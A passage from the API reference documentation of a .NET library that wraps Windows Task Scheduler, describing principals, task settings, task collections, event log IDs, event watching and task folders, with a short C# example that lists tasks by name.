of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent 